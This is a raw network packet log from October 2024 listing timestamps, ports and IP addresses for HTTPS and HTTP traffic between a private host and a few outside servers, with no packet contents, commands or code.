Oct 29, 2024 06:59:39.393858910 CET	443	49933	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.393949986 CET	49933	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.394140005 CET	49933	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.394154072 CET	443	49933	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.395886898 CET	49934	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.395905018 CET	443	49934	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.395975113 CET	49934	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.396127939 CET	49934	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.396142006 CET	443	49934	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.409264088 CET	443	49929	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.409322977 CET	443	49929	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.409393072 CET	49929	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.409503937 CET	49929	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.409503937 CET	49929	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.409518003 CET	443	49929	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.409528971 CET	443	49929	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.411978960 CET	49935	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.412066936 CET	443	49935	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.412194967 CET	49935	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.412341118 CET	49935	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.412377119 CET	443	49935	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.412771940 CET	443	49928	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.412872076 CET	443	49928	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.412940979 CET	49928	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.413038015 CET	49928	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.413038015 CET	49928	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.413074970 CET	443	49928	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.413101912 CET	443	49928	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.415361881 CET	49936	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.415380001 CET	443	49936	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.415445089 CET	49936	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.415600061 CET	49936	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.415613890 CET	443	49936	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.438925028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.438992977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.438999891 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439003944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439021111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439033031 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439034939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439047098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439050913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439064026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439074993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439080954 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439085007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439100981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439121008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439121962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439131975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439133883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439141989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439156055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439166069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439167976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439203978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439218998 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439220905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439235926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439251900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439263105 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439263105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439270973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439290047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439308882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439332962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439349890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439359903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439362049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439399958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439419031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439456940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439460993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439467907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439480066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.439491034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439512014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.439522028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440048933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440059900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440078020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440088034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440099955 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440103054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440110922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440121889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440124035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440155029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440177917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440190077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440201998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440212011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440218925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440223932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440232038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440237999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440254927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440257072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440267086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440278053 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440283060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440289021 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440299988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440306902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440315008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440332890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440335035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440345049 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440354109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440356016 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440377951 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440401077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440577030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440649986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440654993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440660954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440681934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440685034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440695047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440702915 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440706015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440711021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440721035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440731049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440732956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440748930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440753937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440762997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440790892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440799952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440809011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440819025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440829992 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440840960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440848112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440860033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440870047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440870047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440882921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440886974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440893888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440905094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440913916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440917015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440939903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440946102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440953970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440957069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440965891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440979004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.440987110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.440989017 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441000938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441001892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441011906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441024065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441029072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441054106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441063881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441065073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441076994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441082954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441093922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441106081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441112041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441116095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441131115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441133022 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441143990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441154003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441157103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441165924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441168070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441198111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441217899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441239119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441248894 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441258907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441270113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441278934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441282988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441293001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441301107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441304922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441318035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441323042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441346884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441349983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441358089 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441363096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441369057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441389084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441411018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441411018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441421032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441452026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441488981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441499949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441512108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441521883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441523075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441535950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441555977 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441559076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441570044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441603899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441623926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441663980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441690922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441703081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441730022 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441735983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441741943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441783905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441787004 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441827059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441832066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441843033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441854954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441874981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441906929 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441929102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441941977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441963911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441968918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441977978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.441979885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.441992998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442013979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442024946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442090034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442101002 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442111015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442121983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442135096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442143917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442153931 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442161083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442173004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442183971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442193985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442198992 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442208052 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442209005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442225933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442233086 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442236900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442249060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442259073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442260027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442277908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442277908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442289114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442301035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442302942 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442312956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442317009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442326069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442334890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442358017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442522049 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442588091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442599058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442627907 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442640066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442671061 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442682981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442693949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442711115 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442713022 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442723036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442734003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442739964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442759991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442764044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442775011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442775011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442787886 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442800045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442801952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442811966 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442823887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442823887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442852020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442852974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442862988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442874908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442889929 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442893028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442904949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442904949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442919970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442926884 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442934036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442950964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442958117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442964077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442971945 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.442976952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442989111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.442998886 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443001032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443013906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443026066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443032026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443037987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443051100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443070889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443098068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443098068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443110943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443121910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443134069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443139076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443157911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443177938 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443180084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443192959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443208933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443223953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443232059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443232059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443234921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443245888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443247080 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443257093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443268061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443285942 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443308115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443382978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443396091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443407059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443419933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443428993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443432093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443444014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443453074 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.443455935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443468094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.443473101 CET	49888	80	192.168.2.5	185.215.113.206
